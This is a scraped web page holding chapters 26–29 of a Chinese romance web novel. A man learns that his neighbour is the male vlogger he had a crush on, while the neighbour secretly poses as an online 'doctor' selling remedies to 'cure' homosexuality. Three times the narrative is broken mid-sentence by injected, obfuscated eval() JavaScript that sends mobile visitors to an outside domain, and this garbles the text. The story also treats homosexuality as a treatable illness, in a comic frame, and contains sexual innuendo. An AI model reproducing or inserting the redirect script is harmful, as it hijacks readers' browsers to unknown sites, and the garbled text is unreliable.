脑子里乱乱的,但仔细想去,又好像一片空白,什么都抓不到。只有阕开霁和Qamar交替出现,又渐渐融合成一个人。 明明之前从来没想过这两个人用什么共同之处。 阕开霁是自己邻居,个子很高长相精致漂亮,长发混血爱吃甜食很会打扮自由职业,有坎坷的身世和跌宕起伏的人生经历。 Qamar是网上不经意刷到的擦边博主,每天更新vlog,热爱健身喜欢户外运动,平时喝点酒身上有纹身,生活自由刺激,和自己的一成不变截然相反。 …… 但闻根莫名想到之前做过的一个梦。 那次阕开霁晚上来自己家里,带不同的耳坠给自己看,后来耳坠缠到头发上,自己帮阕开霁解耳坠。 当天晚上梦到阕开霁肩膀上有蝴蝶纹身,梦到阕开霁就是Qamar。 醒来后自己以为自己的同性恋还没完全调理好,甚至严重到要把喜欢的女生梦成吸引过他的男博主,还去问神医能不能接着给自己开药。 但那次神医没给自己开药,自己也没坚持要。 为什么没坚持要呢? 闻根用自己迟钝的思维努力想,使劲想,终于想到了。 因为那天下完班自己回家,看阕开霁就坐在小区楼下的椅子上,阕开霁问自己是不是喜欢他。 自己……自己那天以为自己同性恋病得很严重,不敢随意说喜欢,也不敢告诉阕开霁自己是个同性恋,只是说自己病了。 但阕开霁让自己不要想那些,让自己喜欢他。 然后…… 自己就恍恍惚惚,把自己的同性恋忘到一边了。 对。 自己就是忘到一边了。 那天之后,自己虽然偶尔还会想到Qamar,但没有一开始那么挠心挠肝一定要看到的冲动。有时候打开小红书时还会想到躺在黑名单里的Qamar,但想要了解阕开霁时用小红书搜了很多女孩子喜欢的首饰,小红书给他一推,他想到阕开霁,想到自己答应了以后不管那些,要喜欢阕开霁不能三心二意,也就强忍住好奇和那么一点想看,没有再解除拉黑查看更新了。 而上次酒吧接过吻,阕开霁说了喜欢他,说了自己的身世,闻根既幸福又心疼,更是满心都是阕开霁。至于Qamar,也就是深夜时偶尔想一下,让他知道原来自己还有那么越轨的时候。 但没想到。 阕开霁就是Qamar。 在他自己一无所知,甚至根本不觉得阕开霁是男人时。 他的潜意识梦境就告诉他了,那就是一个人。 但他,当时根本没意识到。 二十五年的普通人生涯没经历这么不普通的事,还是这么复杂的感情问题,闻根好像死鱼撞上活泼小猫的毛线球玩具,完全不知道如何下手。 甚至于在这种时候,除了茫然外,还有些让他喘不过气的心疼。 之前只觉得Qamar的蝴蝶纹身很好看,甚至第一次做梦梦到蝴蝶纹身,也是觉得纹身随着运动动作起来好像活着的。 但现在知道Qamar就是阕开霁,知道阕开霁对蝴蝶的偏爱是因为殉情的父母。 他更心疼了。 Qamar就是阕开霁,阕开霁是男的,自己喜欢阕开霁,阕开霁喜欢自己,昨天他们睡在同一张床上…… 这些好像毛线球裸露在外的线头,一下下的挠着他,引着他去勾去挠。 但死鱼根本没有爪子,只能无助的用尾巴拨弄一下,看毛线球滚远,露出更多线头。 首先,他已经很久没喝中药了。 上次神医没给他寄中药,他以为自己这么喜欢阕开霁,差不多也调理好了,就算偶尔会想到Qamar,但只要时间够久也就忘了。 所以他已经有三个多月没喝中药了。 其次,是他先喜欢阕开霁的。他承认了,还和阕开霁接了吻,而昨天…… 刚想到这里,闻根的脑子又开始发热,他不得不把头蒙进被子里,试图缓解情绪。 但一点没缓解下来。 鼻尖都是一股香香的味道,好像阕开霁身上的洗发水味道。让闻根想到他们接吻时阕开霁头发扫在自己身上的感觉,还有阕开霁的嘴唇,柔软湿润,花瓣一样贴在他嘴唇上…… 昨天喝了太多酒,现在嗓子干得要命,再想到阕开霁嘴唇的味道,即使心里觉得非常不应该,但闻根都城忍不住深深吐出一口气,然后干咽了一口。 嘴巴里面苦苦的,可能是昨天喝了太多酒。 但…… 为什么嘴巴和咽喉,会有刺痛感? = 阕开霁把番茄炒出汁水,加水煮开,把面粉搅拌成面絮。 放在柜台上的手机响了一下。 这一声好像开关,之后就是不停的消息提示音。 阕开霁把搅拌好的面絮放下,拿起手机。 都是闻根的消息。 自然都是发给中药世家继承人的。 “有点不太好……” 之后,闻根不知道引用哪天自己发的“漂亮只是主观审美,身上香香的爱吃甜爱打扮只是个人审美口味,但身高一米九还有喉结,绝对是男的。”这句话,回复:“……” “神医,他就是男的。” 闻根的头像还是一开始那张。 难看的衬衣和黑框眼镜,死鱼眼呆得要命。 阕开霁隔着屏幕都能想到闻根现在会是什么样。 他应该还穿着自己的睡衣,躺在自己床上,双手捧着手机,嘴唇被亲得发肿,死鱼眼呆呆的没有焦点,好像失去所有希望的咸鱼。 “神医,怎么办啊?” 阕开霁看着这条消息,快速打字,询问自己唯一在意的问题。 “那你还喜欢他吗。” 手指按在发送键,却不知为何有些犹豫。 万一…… 是否定的答案呢? 闻根就是个普通人。 有着普通幸福的家庭,普通正常的经历,梦想就是和喜欢的女生在一起过普通的生活。就算他在只是看到自己vlog时就梦到自己觉得是同性恋,就算他在见到自己第一面就喜欢自己,就算他真诚又恳切,好像也说明不了什么。他不想当个同性恋,就算说是喜欢自己,也是在误以为自己是女生的前提下。 现在知道自己是男的,如果…… 表情短暂阴沉下去,没想到如果之后的事。 阕开霁手指一点,把消息发出去。 没有如果。 又不是自己刻意隐瞒性别说自己是女的勾引他喜欢自己,他先喜欢的,一遍遍和神医说喜欢邻居,又说是因为自己才觉得是个同性恋的,现在自己都陷进去了,他要是因为性别不喜欢自己,自己就…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716890|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就…… 还没想好。 闻根的消息跳出来了,几乎和他的一起。 “但他都是男的了,我还是喜欢他,怎么办啊。” “能再给我开点药吗。” = 之前还想着如果和阕开霁走到一起,那有机会一定要和阕开霁一起请神医吃饭。 但现在,闻根只庆幸自己还没让神医见到阕开霁。 同样也庆幸自己当时虽然和神医提过,自己是因为一个博主才觉得自己是同性恋的,但并没有告诉神医那个博主的ID。 确定没有暴露阕开霁的隐私,闻根才说了更多。 “你还记得那个我说,因为看到他的ID才觉得自己是同性恋的博主吗?” “他就是那个博主。” “他就是男的。” “怎么办啊,是不是一开始就没治好啊,病根还在。” “是不是因为您一直都是网上问诊所以治疗方案不管用?要不我去您家诊所一趟您给我把把脉吧。” “我真觉得现在更严重了。我今天一觉醒来嗓子也疼。” 其实嘴巴也疼。 但闻根怀疑嘴巴疼可能是亲得破皮了——之前也有过这种事情,甚至有次他还笨手笨脚把阕开霁的嘴巴亲流血了。阕开霁抱怨疼,又不知道从哪儿翻出润唇膏。闻根就拧开蜜桃味的润唇膏,小心翼翼给阕开霁涂上。 当天晚上,他梦里都是那股蜜桃味。 甚至现在,他想到那次阕开霁坐在沙发上,嘴唇溢出血丝,微抬着下巴让自己给他涂唇膏的样子,心脏还是会漏一拍。 神医很快回复他:“不用过来,我大致知道了。” “我再给你弄点药。” “不过我都说过很多次了,中药也不能完全调理好,这主要还是看你自己,你真不想当同性恋吗?” 闻根坚定:“不想。” 呵,还不想。 不想你刚刚还说喜欢。 男人就是不老实,鬼话连篇。 阕开霁打字:“那你加油调理。” 闻根没回了。 他心里乱乱的。 但得了神医会给他开药的保证,安定多了。 神医都调理好这么多人了,应该也会把自己调理好的吧? 毕竟就像自己说的,自己完全不想当同性恋。 自己怎么能做同性恋呢?普通人才不会搞这些乱七八糟的,当同性恋会把自己整个普通人生毁掉的。 自己不能做同性恋,自己会调理好重新当个正常人的。 闻根再次给自己做过心理暗示,这才放下手机,翻身坐起来。 他身上穿的是阕开霁的睡袍。 就是那件黑织金的,很轻很薄,只腰间系着。 穿在阕开霁身上就合身服帖,但穿在他身上好像就大了一圈,翻身坐起来时,一侧顺着肩膀滑下去,他整个胸膛都漏出来。 闻根手忙脚乱把衣领拽上来,下床去看沙发上阕开霁让自己穿的衣服。 墨绿色大T恤,下面是黑色系带短裤。 衣服应该是阕开霁的尺码,闻根穿着有点大,T恤领口不住往下滑。 他在房间里把衣服整理得非常整齐,这才走出去。 刚走出房门,他闻到厨房里淡淡的香气。 疙瘩汤。 自从上次他给阕开霁煮过后,阕开霁经常煮来吃,还会在汤里放进切成丁的各色蔬菜,比闻根自己做得还好吃。 但阕开霁却总说他做得最好吃。 闻根好不容易在房间里强撑出来的坚定散了一半。 阕开霁听到开门声,从厨房走出来:“醒了?” 闻根没吭声,但对上阕开霁蓝灰色眼睛,还是心情复杂的点点头。 阕开霁看出他的不对劲,半点也不惯着,阴阳怪气:“不做噩梦了?” 27. 第 27 章 但闻根听不出来一点阴阳怪气,只是因为阕开霁的询问想到早上那个噩梦,同时又诡异的因为阕开霁的关心而有些感动。 ——阕开霁真的很好。 不嫌弃自己不懂浪漫打扮土气不会说话,还帮自己挑选眼镜买新衣服,甚至……喜欢自己。 就算自己昨天晚上那么失礼在他家里喝醉了酒要他花时间照顾,今天早上还……对他这样耍流氓,他都没生气,还这么关心自己。 真的是个很善良的人。 闻根心跳又变得很快,忍不住看阕开霁。 阕开霁洗漱过了,胡茬刮干净头发绑起来,现在还穿着围裙,长相很明显,却一副宜室宜家温婉贤淑的样子。 怎么能这么有反差。 闻根又险些看直了眼。 直到注意到他脖子上的喉结。 和鼻梁一样的挺,高高突出来。 让闻根想到早上被窝里的矿泉水瓶,还有vlog里流着汗的结实肌肉。 他哽了一下,心有余悸收回视线。 心动还没完全褪去,现在变成一种很奇怪的热,从他的脸上,从他的心里,无孔不入的钻。 闻根垂眸,小声回答:“嗯。” 还嗯。 阕开霁对闻根的回答异常不满,摘下围裙:“吃饭吧。” 闻根发现自己同性恋病情加重的另一症状——之前觉得阕开霁是女生,自动忽视阕开霁即使在男人堆里也过分高壮的身形。但现在知道阕开霁就是Qamar,再看阕开霁的每一个动作,好像都能从那些vlog里找到差不多的动作。 就比如现在简单摘围裙的动作,他都能想到阕开霁结实的肱二头肌和背肌。 在vlog里,皮肤白皙带着汗湿,肌肉结实有力线条流畅好看。 原来阕开霁的身体是这样的。 闻根一方面想,一方面内心越发急迫,觉得自己必须要把吃药赶快提上日程了。 但现在…… 要和阕开霁说清楚。 阕开霁那么可怜,从小就没见过妈妈,因为父母殉情的缘故对爱情有了非常决绝的认知。 但大部分人的人生又不是爱情故事,尤其是自己。自己就是个普通人,不搞那些乱七八糟的。同性恋非常可怕,自己绝对不能成为同性恋。而阕开霁都这么惨了,更不应该再被同性恋毁掉现在好不容易得到的安稳生活。 但自己不能当个同性恋。 他也不能。 所以…… 昨天阕开霁问自己要不要和他在一起,自己点头了。 那是错的,是自己误以为阕开霁是女人后的错误反应。 现在自己知道了真相,应该把一切纠正回来。 闻根这样说服自己,认真告诉阕开霁:“我不吃了,我有话和你说。” 阕开霁面不改色,一无所知的样子:“说什么?” 那双蓝灰色眼睛看着自己,纯净温柔。 闻根心里抽抽得发疼,勉强维持表面的坚定:“我不是同性恋。” 阕开霁在闻根还没出来时,就认真把自己和aaa中药世家继承人的马甲分开,盘了下这个身份该知道的信息——这个身份知道闻根很多信息,但不知道闻根疑似同性恋,也不知道闻根把自己当女人。 于是他挑眉做不可思议状:“你什么意思?” “一开始是你说喜欢我,昨天问你要不要在一起你还说要,现在睡都睡过了,醒来还摸人家,结果松了手又是做噩梦又是不是同性恋。怎么,舒服完了就不认了?” 闻根涨红了脸,说不清到底是急还是羞。 他早上检查过身体了,身上很干净什么都没有,□□……也没什么感觉。 他自己觉得是什么都没做只躺着睡了一晚的。 不过他也没经验,不知道这种没什么感觉是不是也属于事后的一种。 现在听阕开霁说“舒服完了就不认人”,整个人都涨红了:“我……我们……” “我们怎么了?睡醒了就不认了?还借口说什么不是同性恋。” 闻根磕磕巴巴:“我……我真不是,我不知道你是男的。” 阕开霁更理直气壮了,甚至非常记仇的把三个月前的真心话说出来:“你不是戴眼镜了吗?看不出来啊?” “我一米九二的身高六十的肩宽还有喉结,你把我当女的?” 闻根更磕磕巴巴了:“我……我看你长头发。” “我读书少你别哄我。中国的教科书上,分辨男女是根据头发长度吗?” 自己瞎归自己瞎,不能让祖国蒙羞。 闻根连连摆手:“不是。” 阕开霁话锋一转:“我当然知道不是!都二十一世纪了谁还根据发型判断性别啊。” 根据发型判断性别的闻根:“……” 他小声,语气愧疚,但异常真诚,“我。” 阕开霁:“……” 他阴阳怪气:“你还挺真诚。” 闻根越发真诚:“我不能骗你。” 阕开霁:“……” 闻根定了定神,接着说:“所以我们……” 他哽了一下,不得不深吸一口气,才接着说下去,“不能在一起。这是不对的。” 已经做好心理准备,但真听到闻根这么说,阕开霁还是冷笑一声:“什么是不对的?” 闻根放在腿上的手握成拳头:“同性恋。” 阕开霁半真半假谴责,“你不是同性恋,我就是吗?谁知道你把我当女生,要不是看你喜欢我,我会喜欢一个男人吗?” 原来阕开霁不是同性恋啊。 明明是应该轻松的,但听到这句话,闻根心里一刺。 他垂头没吭声。 阕开霁接着说:“还同性恋是不对的。所以你把我当成女的说喜欢我,昨天说了要和我在一起,晚上睡都睡了,今天一醒来发现我是男的,就要把我甩掉,就是对的?” 闻根:“……” 他把头垂得更低,觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716891|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的脊梁骨被戳得生疼。 要么变成一点都不普通的同性恋。 要么变成道德败坏吃干抹净不负责任的正常人。 不过…… 他鼓起勇气,询问:“我们昨天做了……什么吗?” 自己根本没有任何感觉啊,还是同性恋之间就是这样? 阕开霁瞪眼,活像被骗身骗心还被倒打一耙的无辜少女:“你早上从哪儿醒来的?不是我床上吗?” 闻根内心深处还是有点不信。 但被阕开霁这个气势弄得不敢问,那点不信也就潜意识被当做相信。 闻根更没办法了,小声:“那怎么办?” 他第一次面对这种情况,实在不知道怎么办才好,声音满是无助,“我们都不是同性恋,现在怎么办?” “谁说我不是了。” 阕开霁理直气壮,“你已经把我弄成同性恋了,现在你得对我负责。” 闻根仰头看阕开霁,看到他蓝灰色眼睛、红肿的嘴唇,T恤领口下白皙的皮肤。 明明就是很普通的白T,明明现在的情况已经那么不妙了,但闻根光是这么看着阕开霁,就忍不住心猿意马。Qamar有时候也会穿着白T健身,汗湿后T恤贴在身上露出隐隐肉色,有时候拍的角度太往下,还能看到手臂上充血跳动着的青筋。 闻根呼吸又悄无声息的沉下去,他嘴唇动了动,没说什么。 阕开霁注意到了,高高在上:“想说什么?” 闻根小声:“我……也是被你弄成同性恋的。” 阕开霁:“那我对你负责。” 好像在水里慢悠悠摆动尾巴游动的鱼,冷不丁被人捏着薅出水面。闻根甚至忘了该怎么呼吸,只听到自己越发激烈的心跳声,让他怀疑自己会因为呼吸不畅死去。 他用最后一点理智,不知道是拒绝还是求助:“但同性恋是……不好的,正常人不会是同性恋。” 阕开霁理直气壮:“我又不是正常人。” “你也知道,没人教我正常人该是什么样的。” 闻根想到阕开霁的过去,心里一酸。 下意识说:“那我教你。” 还我教你。你转头一定又去找神医了,还不是得我来教你。 阕开霁心里这么想,但面上深深看了闻根一眼,假笑:“那就拜托你了。” 闻根心里乱乱的,怎么也摸不清思绪,于是只是点点头。 阕开霁阴阳怪气:“相信在你的教导和帮助下,我一定能戒掉同性恋的。” 闻根依旧没听出阴阳怪气,但莫名心里有点不舒服。他简单粗暴理解为这是因为阕开霁对自己寄予厚望所以压力很大。 但毕竟是自己有错在先,如果不是自己,阕开霁虽然也不会是普通人,但起码不会是同性恋。都是自己的错,自己应该纠正错误。 于是闻根忍住这点不舒服,抗压能力很强的保证:“我们一定能调理好的。” 阕开霁假笑:“嗯。” 28. 第 28 章 作为一个上班族。 即使早上才刚从男人床上醒来,发现自己喜欢这么久的女生其实是个男人,还是让自己怀疑自己性取向的男人,但九点多接到领导的电话,也还是只能一抹脸,接着去上班。 他离开阕开霁家里时,阕开霁给他比了个加油的手势:“等你下班回来教我戒掉同性恋当个正常人。” 闻根心乱如麻,胡乱点头就推门走了。 他九点上班,现在已经迟到了,根本没来得及再回家换衣服,拿着手机就去单位了。 单位的工作依旧不是很忙,领导让他策划本月书香满社区的活动,做个设计图写个公众号文章,需要和其他同事对接活动发放的礼物。 这些东西看起来好像很多,但已经做过很多次了,具体做起来也不是很难。闻根就打开电脑,表面上认真工作,实际上脑子还留在阕开霁家里。 或者说,留在刚睁开眼的那一刻。 电脑上挂着的微信收到新消息。 点开一看,中药世家继承人给他发的:“给你开了新药方,大概下午就能到了。” 闻根这才回过神,连忙打字:“谢谢。” 想到阕开霁,又不好意思:“那个,这次能给我发两人份的药吗?” 神医:“?为什么?每次都给你发正好一疗程的药。” “对,但他也需要调理。能帮他也开一份吗?” 阕开霁坐在自己冰凉的大理石餐桌前喝疙瘩汤。 闻根那个呆子,做个饭都不知道菜谱,语焉不详的告诉他大致做法。具体要用多少番茄多少水加多少盐,面絮要怎么搅拌,都是他自己在网上找的教程。 结果就是做的和闻根做的根本不一样。 他吃了两口就放下勺子,给闻根发消息:“不用,你煮的时候分他一半就行了。” 闻根再三感谢了神医的慷慨善良。 阕开霁觉得他呆,不想理他。 把没吃完的疙瘩汤倒掉,把锅碗勺丢到洗碗机里。 再出来时发现闻根刚刚还发了条消息,非常诚恳的询问他:“对了神医,我为什么会嗓子疼啊?这也是同性恋病症的一点吗?” 阕开霁其实知道闻根为什么嗓子疼。 但中药世家继承人不应该知道。 于是他回复:“不是。” “谁知道你为什么嗓子疼。” 还有神医不知道的情况,闻根有点不知道怎么办才好了。 他告诉神医:“那我去小红书问一下吧,说不定有其他人知道。” 阕开霁发了个支持的表情包。 闻根想到上次,自己以为自己调理好了,还开开心心在小红书发帖分享自己的喜悦。但因为夸了神医太多句,底下评论区都口口声声说自己根本没调理好,还说自己和神医有什么不正当关系,自己就把帖子删了。 现在好了,自己真没调理好。 不是因为神医,是因为自己喜欢的人压根就不是女生。 现在神医还得治疗他们两个。 闻根带着对神医的愧疚,和被回旋镖扎到的苦涩,点开小红书。 但真的点开了,没先去询问自己为什么嗓子疼,而是…… 控制不住的想到Qamar。 在刚刷到Qamar的那一周,点开小红书就想到对方,好像是刻在闻根DNA里的反应。 但上次阕开霁说喜欢他之后,这个反应就被戒掉了。 现在知道阕开霁就是Qamar,闻根完全控制不住,无师自通的开始继续循环这个反应。 他点去黑名单,看着唯一拉黑的账号,点击解除拉黑。 在他没有在看的这两个多月,Qamar依旧在更新,这么刚一解除拉黑,主页就弹出新的vlog。 更新时间是昨天晚上十一点半。 …… 昨天过生日,自己还在他家喝多了吐一身,在这种情况下,阕开霁居然还更新了。 闻根点开这个vlog。 阕开霁——亦或是Qamar的生活还是那样。 早起健身——和闻根早上想到的场景一样,运动衣贴在身上,肌肉充血格外明显,青筋在手臂上蜿蜒,好像从平整地面下突起的树根。 闻根又忘了该怎么呼吸了。 他心虚的左右看了眼,确定其他同事都没在注意自己,这才接着看下去。 和之前每次健身之后跟着去上班去玩的场景不同,健身之后,下一张照片里,阕开霁烤了个面包片,开始吃早饭。 之后就是对镜自拍,闻根看到阕开霁昨天的穿搭。 然后就是他们一起吃的午饭、一起看的电影的票根、他买给阕开霁的花、长寿面、切开过的蛋糕。 这些都是闻根知道的。 但最后一张照片,是暗淡的灯光,散落满地的红酒瓶。 这个vlog看完,闻根不自觉往下翻,看上一个vlog。 上一个vlog是四天前更新的。 阕开霁好像把好几天的素材放在一起了,闻根看到他换了好几身衣服——但都是自己熟悉的,确定自己当面看到的穿搭。甚至vlog里有些照片,是他们一起出去玩,闻根给他拍的。 那时候闻根一点没觉得阕开霁就是Qamar,一起出去玩,阕开霁偶尔会拿出手机拍照片,他也只觉得是女孩子都喜欢拍照打卡,还主动提议可以给阕开霁拍照。 但拍出来很难看,把阕开霁拍得像个五五分的乐高小人。 阕开霁狠狠笑话了他,但也没把那张很难看的照片删掉,还拿着他的手机给他拍。 明明就是一样的手机一样的地点一样的姿势,阕开霁把他拍得能放在杂志首页。 闻根回家后开始学习拍照技巧。 但还没来得及给阕开霁拍照,验证自己拍照技术有没有进步。 阕开霁就变成男的了。 哦也不是。 阕开霁一直都是男的,是他自己,不仅是个同性恋,还自欺欺人不想当同性恋,喜欢男的就把男的认成女的。 现在好了,还把阕开霁带坏了。 闻根心烦意乱,体现在具体行动上,就是把Qamar这段时间的更新一口气看光了。 看完后他甚至没退出来,又从下往上重新看了一遍。 看完也就中午了。 其他同事陆陆续续起身要去食堂吃饭,看闻根还在工位上坐着,招呼他:“小闻,吃饭了。” 昨天喝了那么多酒,今天早上还没吃饭,闻根现在既饿又恶心,身体告诉他需要吃饭,但确实也没什么胃口。跟着同事去食堂,扫了眼今日菜色,更没胃口了。 他要了碗小面慢吞吞的吃,下咽时嗓子又是一疼。 死鱼眼短暂呆滞,闻根终于想到自己一开始点开小红书是想做什么了。 他一边忍住嗓子眼的刺痛接着吃饭,一边点开小红书,试探着询问。 “请问同性恋后期会有嗓子疼的症状吗?还是喝多了酒就会这样。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716892|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他这个“不是深柜我真的崆峒”的小号现在已经有一万多粉丝了,基本上就是发出去再刷新一下,底下就多了两条评论。 “什么样的疼?细说。” “?是很干渴的那种疼吗?” 闻根一一回复。 “被鱼刺卡到的那种刺痛。” “不是,喝水也没好起来。” 把回复发出去,再刷新一下,评论更多了。 “昨天喝酒了?和神医一起?” “感觉会有糖吃,能不能具体说说昨天发生了什么,我们才能判断到(发)底(生)是(了)什么问(基)题(情)。” “?我错过了什么?上一次你不是还说自己已经调理好了喜欢女生吗?怎么两个月过去变成同性恋晚期了?神医给你开的药不好用还产生了负效果?” 闻根不太想把自己的事情在网上说出来,担心会暴露现实生活的事,也担心会被阕开霁刷到。但现在对方说是不是神医开的药不好用,他觉得自己变成同性恋晚期是自己的原因,不想让别人怀疑神医的医术。还是决定解释一下。 于是他默默又把Qamar拉黑,确定阕开霁就看不到自己的图文也看不到自己的回复,这才缓缓打字认真解释。 “神医的药很好用,是我以为自己调理好了喜欢女孩子,就没喝药了。” 对方:“这不是很好的展开吗?怎么就成同性恋晚期了?” 闻根:“昨天我喝多了和他睡在同一张床上,今天醒来发现他是男的。” 两分钟后,他这条回复底下满是“哈哈哈哈哈哈哈哈哈哈” 但很快就有人再次艾特他,异常热心:“深柜,你是不是给人家咬了?” 闻根:“……” 深柜是谁?如果没记错,自己的ID不是“不是深柜我真的崆峒”吗? 而且,为什么说自己咬了阕开霁啊? 不接受这种诬陷,他赶紧回复:“我没咬他。” 想到什么,他又垂着头恨不得直接把头埋到碗里,慢吞吞打字,“我喝多了不记得具体发生了什么,但我从来不咬人的。我记得我们只是亲了。” “只是嗓子疼吗?喝多了睡一张床上,没发生点什么吗?” 闻根忍不住又点进黑名单看了一下,确定阕开霁就在黑名单里,看不到自己发了什么。 这才回复:“他说发生了,但我没什么感觉。就只是嗓子疼。” “难道呆呆深柜是上面那个,被人骑了?” “神医神医呼叫神医!我不接受除了神医外的任何人,神医你告诉我,这个传说中一见钟情被误以为是女的其实是男的的人,其实是你!” 闻根一眼看过去,发现还有人在呼叫神医,忍不住回复:“不是神医,不要打扰他了。” “你嗓子疼,有没有问过神医?” “问过了,他也不知道,所以想来问问有没有人有同样的苦恼。” “喝醉了第二天醒来身上没什么感觉,就只是嗓子疼,对方还说发生了什么,所以深柜你就是给人咬了吧。” “深柜嗓子疼,应该是病了,给他喂点春药,希望他赶快好起来。” “深柜从来不咬人,深柜乖,那人非要深柜咬,那人坏。” 闻根再次强调:“我不咬人。” “emmm……把咬拆开看一下呢。” 拆开。 口 交。 闻根一口面条没咽下去,狼狈又掉回碗里,溅了闻根一身面汤。 29. 第 29 章 继失神一上午后,闻根下午又开始神游天外。 单位饮水机旁边还有成箱的矿泉水,他盯着那箱矿泉水,眼神虚无缥缈。 可能是他盯太久,同事误会了什么,伸手拿了瓶矿泉水给他。 闻根看着递过来的矿泉水瓶,一边连连摆手一边往后退,甚至把椅子都拖得往后,在地板上发出让人牙酸的吱呀声。 他激动:“不要不要。” 同事不知道他反应为什么这么大,也就没有一定要给,自然把那瓶水放在自己桌上了。 闻根心有余悸,甚至都不敢往他那边看,只怔怔盯着电脑屏幕。 那么大瓶。 那么大只。 自己咬了? 这真的是可以的吗? 闻根其实是个很没有想象力的人。 但现在光是想想这个可能,他先想到早上在被窝里摸到的矿泉水瓶,然后就想到古装剧里生吞大宝剑的场景。 很小的时候闻根还会惊奇,觉得能生吞大宝剑的杂技师很厉害。 现在他知道了,所谓的大宝剑其实是可伸缩的道具。 可没想到,自己…… 吞了? 倒也没有恼怒恶心崩溃的情绪,闻根跟个没有波动的死鱼一样,只是疑惑加震撼。 这真的是可以的吗? 恍恍惚惚一整天,工作效率极低。期间还控制不住点进小红书,看网友的评论,试图找到个不同的答案。 但评论区现在已经沦陷了。 “果然和名字一样深呢↑” “深柜好惨,现在嗓子是不是痛痛的什么都吃不下?让他给你挤点牛奶吃吃得了。” “让人心里黄黄的。” “是引流吗?深柜你更新速度太慢了,能不能一日三更?!(敲碗)” “深柜,这种嗓子被大力捅出来的痛好好好保养,一定要吃点软烂好消化的东西。你可以让他给你做草虾面、茶虾面、统虾面,总之多吃虾面就好了!” 闻根现在看到面就想到中午那碗小面,一点都不想吃。 但说到软烂好消化的东西,很自然的想到早上自己没吃到的阕开霁做的疙瘩汤。 vlog里阕开霁早上吃饭就是咖啡面包,但今天他做了疙瘩汤。 因为自己宿醉难受。 他忍不住又想点进Qamar主页再看一遍。 但还没点进主页,小红书自动收集他最近观看,给他推了个图文。 “Qamar是不是恋爱了?” 眼睛还没把标题看清楚,手就啪得点进去。 闻根看到文案。 “如题,很喜欢的一个男菩萨博主最近怪怪的,有没有粉丝来讨一下。Qamar之前的vlog很明显一股子单身人士的自由放荡,天天穿着工字背心健身,完全不把我们当外人,腹肌说露就露。平时生活也非常……就你们懂,当代单身年轻人,大早上健身,不吃饭喝冰美。说要出去采风就开车到处跑,行李都不带,平时跳个伞潜个水越个野,晚上健身完不睡觉熬夜喝酒。完全就是堕落至极的单身男人。但最近……他居然开始吃早饭了,晚上也不喝酒了,健身也把衣服穿得很正经,甚至连着两个月没极限运动,出差也是正正经经三天就回来了,有人知道我昨天看到他发酒瓶照片时多震撼吗。” “是的,我也这么怀疑。我已经在他评论区问了一个月了,但他一直没回答我。” “去搜了一下这个博主,好高的肌肉,好壮的身高。哦不我是说……到底是哪个姐妹吃这么好!” “我也注意到这个现象了,但我持保留意见,我仔细看了好多遍他的vlog,发现有次视频里有搬家公司的车,我怀疑他搬家了,搬家之后他就变成了这样,我怀疑他回老家被爹妈制裁了……” “我也觉得是被长辈制裁了吧。总感觉能和Qamar在一起的女生应该也和他差不多,不会管他吃穿喝酒的。而且Qamar最近的vlog里有些照片看上去毫无构图,不是Qamar自己拍的,感觉也像是父母那个辈的人拍出来的。” 闻根:“……” 有很难看吗?自己已经在学了,下次一定能拍得更好的。 刚这么想,又想到Qamar是男人,自己不能是同性恋。 那自己和阕开霁也…… 没什么关系了。 自己没理由再给他拍照片了。 闻根忍不住干咽一下,嗓子又开始疼。 他叉掉这条图文,点进Qamar主页,又重新看了一遍。 今天不仅迟到,工作时间还一直在摸鱼,完全没有效率,好在工作不是很急,领导并没有批评他。 依旧是五点下班,闻根慢吞吞收拾东西,非常逃避的选择步行回家。 在路上拖延一些时间——当然,闻根不会承认这种原因的。 他告诉自己,自己只是…… 只是最近和阕开霁在一起太久,认知上和普通人出现了微妙偏差。自己需要了解一下其他普通人都是怎么样生活的,好好纠正一下自己的认知。 但根本没功夫没有精力去思考别人的生活状态是怎么样的,他看到年轻女孩行色匆匆走过,会注意到她烫着大卷卷的长发,想阕开霁把头发烫成大波浪是什么样的。他看到老人携手去市场买菜,路上絮絮叨叨说着生活琐事,会想到阕开霁老了会怎么样。就连在路口等红路灯,都觉得这个红路灯非常眼熟,好像出现在阕开霁vlog里。等到了小区更是不得了,这里阕开霁停过车,这个长椅阕开霁坐过,这座电梯…… 一路上没遇到阕开霁,但好像每一处都是阕开霁。 闻根发现自己病得更严重了。 他觉得这非常不应该。 非常需要喝点中药调理一下。 等到了七楼,他都没敢往阕开霁家门口看一眼,急匆匆回了家,关上门才深深出了口气。 实在不想做饭,他决定给自己点了个外卖。但刚打开外卖软件,先收到了中药世家继承人的消息。 “下班了?” 闻根回复:“下班了,现在已经在家了。” 